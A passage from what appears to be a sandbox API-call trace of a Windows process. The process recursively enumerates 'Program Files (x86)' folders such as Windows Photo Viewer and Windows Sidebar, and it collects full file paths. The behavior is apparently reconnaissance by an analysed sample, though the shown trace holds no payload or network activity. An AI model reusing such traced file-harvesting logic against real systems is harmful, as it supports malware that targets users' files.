returned 22 [0121.061] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 72 [0121.061] lstrcpyW (in: lpString1=0x24a8b10, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0121.061] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.061] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0121.061] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0121.061] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0121.061] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned 66 [0121.061] lstrcpyW (in: lpString1=0x24a8bb0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0121.061] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.061] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0121.061] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0121.061] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0121.061] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned 69 [0121.061] lstrcpyW (in: lpString1=0x24a8c40, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0121.061] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.061] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.062] lstrcmpW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0121.062] lstrcmpW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0121.062] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0121.062] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned 62 [0121.062] lstrcpyW (in: lpString1=0x24a2760, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0121.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.062] lstrcmpW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0121.062] lstrcmpW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0121.062] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0121.062] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned 61 [0121.062] lstrcpyW (in: lpString1=0x24a27e8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0121.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.062] lstrcmpW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0121.062] lstrcmpW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0121.062] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0121.062] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned 56 [0121.062] lstrcpyW (in: lpString1=0x24a6078, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0121.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.062] lstrcmpW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0121.062] lstrcmpW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0121.062] lstrlenW (lpString="PhotoBase.dll") returned 13 [0121.062] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned 57 [0121.062] lstrcpyW (in: lpString1=0x24a60f8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0121.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.062] lstrcmpW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0121.062] lstrcmpW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0121.062] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0121.062] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0121.062] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned 59 [0121.062] lstrcpyW (in: lpString1=0x24a6178, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0121.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.062] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.062] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.062] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0121.062] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0121.063] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0121.063] lstrlenW (lpString="Windows Portable Devices") returned 24 [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices") returned="c:\\Program Files (x86)\\Windows Portable Devices" [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\") returned="c:\\Program Files (x86)\\Windows Portable Devices\\" [0121.063] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\*") returned="c:\\Program Files (x86)\\Windows Portable Devices\\*" [0121.063] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.063] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.063] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.063] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.063] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.063] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.063] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0121.063] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0121.063] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0121.063] lstrlenW (lpString="sqmapi.dll") returned 10 [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0121.063] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned 58 [0121.063] lstrcpyW (in: lpString1=0x24a61f8, lpString2="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0121.063] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.063] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.063] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.063] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0121.063] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0121.063] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0121.063] lstrlenW (lpString="Windows Sidebar") returned 15 [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar") returned="c:\\Program Files (x86)\\Windows Sidebar" [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\" [0121.063] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.063] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\*" [0121.063] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.071] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.071] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.071] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.071] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.071] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.071] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0121.071] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0121.071] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.071] lstrlenW (lpString="en-US") returned 5 [0121.071] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US" [0121.071] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\" [0121.071] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0121.071] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*" [0121.071] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.080] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.080] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.080] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.080] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.080] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.080] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0121.080] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0121.080] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0121.080] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0121.080] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0121.080] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned 59 [0121.080] lstrcpyW (in: lpString1=0x24a6278, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0121.080] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.080] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0121.080] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0121.080] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0121.080] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0121.080] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0121.080] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned 60 [0121.080] lstrcpyW (in: lpString1=0x24a2870, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0121.080] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.080] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.080] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.080] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0121.080] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0121.080] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.080] lstrlenW (lpString="Gadgets") returned 7 [0121.080] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0121.081] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\" [0121.081] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.081] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*" [0121.081] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0121.124] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.124] lstrlenW (lpString="Calendar.Gadget") returned 15 [0121.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Calendar.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0121.124] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.124] lstrlenW (lpString="Clock.Gadget") returned 12 [0121.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Clock.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0121.124] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.124] lstrlenW (lpString="CPU.Gadget") returned 10 [0121.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="CPU.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0121.124] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.124] lstrlenW (lpString="Currency.Gadget") returned 15 [0121.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Currency.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0121.124] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.124] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0121.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="PicturePuzzle.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0121.124] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.124] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0121.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="RSSFeeds.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" [0121.124] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.124] lstrcmpW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0121.124] lstrcmpW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0121.125] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.125] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0121.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="SlideShow.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" [0121.125] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.125] lstrcmpW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0121.125] lstrcmpW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0121.125] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0121.125] lstrlenW (lpString="Weather.Gadget") returned 14 [0121.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Weather.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" [0121.125] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.125] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.125] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.125] lstrcmpW (lpString1="pie.exe", lpString2=".") returned 1 [0121.125] lstrcmpW (lpString1="pie.exe", lpString2="..") returned 1 [0121.125] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.125] lstrlenW (lpString="pie.exe") returned 7 [0121.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0121.125] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned 46 [0121.125] lstrcpyW (in: lpString1=0x24a8cd8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0121.125] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.125] lstrcmpW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0121.125] lstrcmpW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0121.125] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.125] lstrlenW (lpString="sbdrop.dll") returned 10 [0121.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0121.125] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned 49 [0121.125] lstrcpyW (in: lpString1=0x24a4aa0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0121.125] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.125] lstrcmpW (lpString1="settings.ini", lpString2=".") returned 1 [0121.125] lstrcmpW (lpString1="settings.ini", lpString2="..") returned 1 [0121.126] lstrlenW 